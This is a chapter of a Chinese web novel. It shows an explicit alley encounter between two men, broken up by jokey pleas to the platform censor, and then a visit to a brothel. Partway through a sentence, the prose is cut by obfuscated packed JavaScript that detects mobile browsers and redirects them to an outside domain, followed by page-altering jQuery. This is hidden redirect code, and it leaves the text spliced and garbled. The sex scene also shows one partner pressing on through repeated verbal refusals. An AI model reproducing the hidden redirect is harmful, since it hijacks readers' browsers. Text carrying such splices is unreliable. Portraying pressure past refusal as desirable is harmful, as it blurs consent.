巷子深处的柴草堆被压出凹痕,温不迟的青裘被揉得皱巴巴的,半边肩膀露在冷空气中,喉间溢出的气音被南无歇吻得七零八落。
“别咬……”他偏头躲开颈侧的啃咬,语气带点破碎,“会有印记。”
南无歇或许有一个土匪梦吧,对方越是不要他就越是想要。
“有印记才好,”他抬手扯开自己的外袍,披在温不迟露着的肩上,掌心却顺着衣料滑下去,停在那人的腰间,轻轻一按,逼出一声(口耑)
“让京城的人都知道,温大人原是这个样子的。”
温不迟的脸“腾”的气红了,又羞又怒,抬膝想去抵住南无歇的身子,却被南无歇握住脚踝,架在了肩上。
冰冷的夜风顺着缝隙钻进来,温不迟瑟缩了一下,却被更滚烫的体温裹住,连挣扎的力气都仿佛被抽干了。
“滚…你滚……”
这骂声落在南无歇耳里反倒成了最最勾人的饵,他吻去温不迟眼角的湿意,手掌拂过那人的侧脸,动作忽然放轻了些。
二人目光相撞,南无歇一时间看晃了神,像是被这人眼底的水光吸了进去,忽然整个世界全然消失了,半分都不剩下,满心满眼只剩下那人的一双桃花眼。
须臾,他鬼使神差地罕见温柔认真道:“温不迟,你真好看。”
“滚——”
还没骂完,南无歇就低头碾磨上温不迟的唇瓣,那架势像是要将整个人塞入腹中,急迫、决绝、无法克制地想要得到。
他起初对温不迟的心思与其说是想要“拥有”,不如说是想要“占有”,因为那是李昇的人,是帝王的人,可此时此刻,他只想要拥有这双眼睛,就在此刻。
可于他而言,任何东西都是需要靠硬实力争抢来,儿时的自由、地缘的领土、手握的权利。
也包括人。
这也是为何相较于双方共识能够达成同针锋相对一样的结果时,他仍然偏向于后者,因为针锋相对所决出的高下才更能体现出“硬实力”。
于是,他骨子里蓬勃的征服欲逐渐悄无声息的渗透到了他的方方面面。
少顷,南无歇稍稍离开了温不迟的唇,继而便是黏黏糊糊的蹭吻和厮磨下的轻啄。
“反抗我,或者……请求我。”
反抗无用,求又求不出口,温不迟别过脸不看他,身上的热度像要烧穿皮肉,顺着血脉往骨子里钻,一寸寸瓦解他的防线。
南无歇勾上温不迟的腰带,轻轻一扯,刚一松散便被那人握住了手。
“别……”温不迟的声音终于带着点妥协,“太冷了……”
南无歇低笑一声,将他抱得更紧,外袍彻底裹住两人,隔绝了风雪,随后滚烫的轻吮便落在了温不迟的颈侧,又痒又烫,一阵酥麻。
“忍一忍,等会儿就不冷了。”
温不迟闭了闭眼,任其探索自己的领域。
不知多久,南无歇终于半直起身子,温不迟也抬眸看他,手上还揪着那人的衣襟。
巷口的月光漏进一丝,恰好照在温不迟泛红的眼尾,那点水光恍得南无歇急不可耐。
“你…”温不迟的声音碎在喉咙里,带着点气音,却不是全然的抗拒。
南无歇吻了吻他的唇角,掌心轻轻抚摸着他的头顶,像在安抚一只受惊的幼猫。
“放松,不会有事的,一会就好。”
(此处删减121个字)
巷子里的呼吸越来越重,温不迟的挣扎渐渐弱了下去,偶尔溢出的气音被夜风剪碎,又被南无歇的吻温柔地接住。
南无歇腰腹绷紧,投入得彻底,吻顺着颈线往下,落在那片喘/息起伏的胸口。
(愿以吾辈之青春,捍卫盛世之中华,希望我敬爱的祖国繁荣昌盛,希望我华夏儿女百无禁忌,希望尊贵的审核大人日日顺心。别锁我了,拜托拜托~)
“南…南无歇……”温不迟的声音里多了点别的东西,说不清是怒是怨,还是别的什么,像根细弦,被拨得嗡嗡作响。
“嗯?”南无歇气都喘不顺地应着。
温不迟抬手,抵住了南无歇的肩膀,“帮。。我料理了。。料理了嵇家,我、我要他们失势…”
“好…”南无歇用着力,笑着欣赏他,“…还要什么?”
(还要拥护我们的祖国!作为共产主义接班人,我们一定要坚定立场!爱国爱同胞!自立自强!当然我们也要爱晋江文学城!要爱我们的审核大人!审核大人辛苦了,一定要记得好好吃饭,好好睡觉~)
温不迟气(口耑)得也并不是很顺畅,他突然攥住南无歇头发,紧了些,又紧了些。
“要你的人头!我要你的人头!”
看着眼下之人的气急败坏和无能为力、享受又不享受的样子,南无歇瞬间发了疯的燥热,他兴奋得笑容更深。
“好…”他粗/喘着吻了下去,“我给。”
(此处删减77个字)
温不迟的呼吸越来越乱,他死死捂住自己的嘴,指缝里漏出的呜咽都带着颤,生怕那点失控的声响会漫出这巷子。
南无歇垂眸看着他这副隐忍的模样,温柔诱哄道:“没事的,这么晚了,谁会来?”
说着,他直起身子,唇角微翘,握住温不迟的手腕从嘴上拿开,随即将那人的手放到自己半敞的(月匈)(月堂)上,缓缓往下带着。
(审核大人求你了求你了,别锁我了,真的没得改了呜呜呜。我会认真码字,保持稳定更新,矜矜业业坚持为读者呈现故事!我会坚定理想信念,主动践行社会主义核心价值观,一如既往坚持为祖国做贡献!)
温不迟能感受到他紧实的肌肉轮廓,以及滚烫的肌肤温度,如此寒冷的环境,那人皮肤上已然覆上了一层薄汗,可见方才绝没收力忙活。
温不迟猛地偏头,躲开南无歇侵占性极强的目光,另一只手又要捂上来,却被那人牢牢摁在身下的柴草里。
“叫出来,像那天在府里一样……叫给我听。”
(我将坚决拥护“新时代坚持和发展中国特色社会主义的基本方略”与“□□文化思想”!坚定、坚持二为方向、双百方针以及两创方针!伟大!光荣!我党万岁!)
他说着,还恶劣一用力,嘴角的弧度既诱又邪,眼睛亮得直逼高悬的月亮。
“唔——”
一声压抑的轻吟没忍住,从温不迟唇缝溢出来,像颗石子投进静水里,荡得他的脸瞬间爆红。
他努力的想瞪向南无歇,却因着一浪接一浪的(我爱你中国)力(我爱你晋江)道实在无法对焦,眼底的水光混着怒火,声音从齿缝里挤出来,又狠又急:
“我要你的人头…我要你的人头!!”
这话本是恶毒的利刃,在南无歇这里却是最烈的酒,瞬间点燃了他眼底的火。
“好好好。”他低笑着连说了三个好,每个字都裹着满足的纵容。
随后,他俯身咬住温不迟的唇,力道又重了几分,“等你有力气了,尽管来取。”
看着温不迟气得发抖又动弹不得的样子,看着那双失焦的桃花眼里又怒又慌的光,南无歇只觉得浑身的燥热都找到了出口,连呼吸都带着兴奋的喟叹。
这只令百官肝颤的会咬人爱炸毛的小豹子,此刻被他牢牢按在了掌心里。
风又起,那偶尔泄出的带着怒意的细碎声响,在寂静的夜里,格外撩人。
风雪不知何时停了,只剩下月光漫过柴草堆,在两人交缠的身影上投下一片模糊的暖。
***
腊月的风跟刀子似的刮着脸,京城刚下了场大雪,大街上一片白,踩上去咯吱响。
南无歇揣着手走在前头,步子慢悠悠的,崔始颉裹着件厚狐裘跟在后头,嘴里不停歇地念叨。
“永辞哥,你看那家糖人摊,上次我买了个猴子的,结果画的一点儿也不像。”崔始颉指着街角,鼻头冻得粉红。
南无歇懒散地“嗯”了一声,目光扫过旁边的布铺,随后他顺着崔始颉的话头接:“想吃?去买一个。”
“不用不用,”崔始颉摆摆手,又凑过来,“吃糖坏牙,对了永辞哥,前头有家扇庄,听说老板是江南来的,扇子做得好,你不是说想装文人吗?”
南无歇挑眉,顺着他指的方向看过去,果然有家不起眼的小店,门楣上写着“扇语”。
“行,去瞧瞧。”
进了扇庄,掌柜的连忙迎上来:“客官看看?都是新到的料子,竹骨檀木的都有。”
南无歇没看掌柜的,目光扫视着满墙的扇子,点了点头。
这扇庄做的很大,什么样式的扇子都有,南无歇一边走一边看,崔始颉跟在身后也眼睛溜圆的看着。
忽然,南无歇在一把素面折扇前顿了顿,掌柜的是个有眼力见儿的,立马道:“这扇子的扇骨打磨得光滑,扇面是生宣,别看摸着糙,但最好写字。”
南无歇依旧是没看他,挑眉道:“就这个。”
付了银子,他拿着扇子摇了摇,崔始颉跟在旁边咋舌:“这破扇子要二十两??都够买一车糖葫芦了…”
“你懂什么,”南无歇买把扇子还真把自己当文人了,他一脸臭屁地用扇子轻轻拍了拍崔始颉后脑勺,“这叫——风、雅。”
俩人接着往前走,崔始颉还在叽叽喳喳说个不停,从兵部的操练说到家里的老黄狗下了崽,南无歇有一搭没一搭地应着,眼睛却没闲着,一路上的商铺的情况,都让他看了个七七八八。
走到西市口,风里忽然飘来脂粉香。
抬眼望去,前头右侧立着栋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526725|186332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两层楼,挂着“醉春坊”的牌子,红灯笼晃晃悠悠,门口站着几个穿得单薄的姑娘,正往过路人手里塞花。
“那是什么地方?”崔始颉好奇地探头,“看着怪热闹的。”
那是贺家的产业,谛听台的商路图上标的清楚,这里明着是青楼,暗地里专做官员的生意,消息灵通得很。
南无歇回头看向远远跟着的卫清禾,扬了扬下巴:“带尧吉去对面买两串糖葫芦,顺便看看那家卖芝麻糕的还开着没,他念叨好几天了。”
“是,侯爷。”卫清禾应了一声,崔始颉却不乐意:“永辞哥你不去吗?”
“我去旁边看看熟人,”南无歇摸了摸他的头,“买完在巷口等我,别乱跑。”
崔始颉虽不情愿,还是被卫清禾拉着走了,走两步还回头瞅了瞅,嘴里嘟囔着“买最大的一串”。
南无歇看着他的背影笑了笑,转身往醉春坊走。
门口的姑娘见人过来,立刻缠上来:“公子这是要去哪呀~这风这么大,吹得人骨头都冷了,不如进来让奴家给您暖一暖?”
南无歇没说话,从袖里摸出块碎银子递过去,姑娘眼睛一亮,连忙挽着他的胳膊引着他往里走。
醉春坊里暖得很,空气里飘着脂粉香,混着酒气和果子的甜,往人鼻子里钻。
一楼大堂中央是个方形的巨大高台,四周只摆着十二张桌子,一边三张,几桌客人搂着姑娘喝酒,划拳声、调笑声撞在楼板上,嗡嗡作响。
二楼的栏杆边倚着几个穿得花哨的姑娘,看见有客人进来,就娇滴滴地招手,银镯子在手腕上晃得人眼晕。
南无歇刚踏进门,一个穿着红袄子的胖妇人就扭着腰迎上来,笑得眼睛眯成条缝:“这位爷看着面生,是头回来?快里面请,暖和暖和!”
老鸨见多识广,光看气质和行头就知身价,她的目光在南无歇身上溜了一圈,最后落在他袖口露出的那截玉扳指上,随后笑更殷勤了:“我的爷~!咱这醉春坊别的没有,姑娘们个个水灵,保准合您心意~”
南无歇拿着刚买的折扇在手心敲了敲,声音懒懒的:“你这儿的姑娘,都有什么本事啊?”
“诶呦那可多了去了,爷想要什么样的咱这里都有,”老鸨如数家珍,“翠儿会唱小曲,银珠弹得一手好琵琶,还有新来的晚儿,身段软得像面条,给爷您剥个橘子都能剥出花样来!”
南无歇就听着,没搭腔。
老鸨见他没动静,眼珠一转,凑近了些:“爷是想看点特别的?不瞒您说,咱这儿的头牌玉露姑娘,那才叫一绝!京城多少公子哥排着队想请她喝杯酒,门槛都快踏破了!”
“玉露?”南无歇抬了抬眼皮。
老鸨笑得更欢了,“不仅模样赛天仙,舞跳得才叫绝,一支《飞天》,看得人眼睛都直,玉露一舞,光是打赏,就堆了满满一桌子!”
南无歇挑了挑眉,没说行也没说不行。
老鸨是个会看眼色的,忙继续道:“爷要是想见,我这就去叫她来?不过咱们玉露姑娘身价高,不整夜算的,一刻钟十两银子,三个时辰起,这位爷您看……”*
“嗯,”南无歇从怀里摸出个钱袋,往桌上一撩,几锭银子滚出来,闪着白花花的光,“开个雅间,叫她来。”
老鸨的眼睛瞬间直了,手忙脚乱地把银子往怀里揣:“哎!哎!爷您敞亮!雅间现成的,最里头那间,清净!我这就去叫玉露,保证让她把压箱底的本事都拿出来!”
龟奴引着南无歇上了二楼,推开最里头的房门。
雅间不大,摆着张方桌,两把椅子,墙上挂着幅没什么章法的画。
南无歇往椅子上一靠,半阖着眼,手指还转着那把折扇,听着楼下隐约传来的喧闹,倒像是在自家院子里晒太阳。
没一会儿,门被推开,老鸨领着个姑娘走进来。那姑娘穿件水红舞衣,裙摆上点缀着细碎的金箔,发髻上插了支珍珠钗,走路时悄无声息,像朵飘进来的云。
“爷,您看咱玉露怎么样?”老鸨把姑娘往前推了推,笑得满脸褶子,“这身段,这模样,全京城找不出第二个!”
玉露姑娘屈膝福了福,声音细得像蚊子哼:“见过爷。”
南无歇没看她,依旧用折扇支着脑袋闭目养神,嘴角还噙着淡淡的笑。
老鸨赚银子的心迫切,又道:“爷要是瞧得上,想留玉露姑娘多久?三个时辰?还是……”
南无歇这才掀起眼皮扫了玉露一眼,又看向老鸨,声音还是那副懒懒散散的调子:“到明早。”
老鸨愣了一下,随即笑得见牙不见眼:“哎!好嘞!爷您等着,我这就去吩咐人备酒菜,保证伺候得您舒舒服服的!”
说着,给那小娘子使了个眼色就颠颠地退了出去,还不忘把门给带上。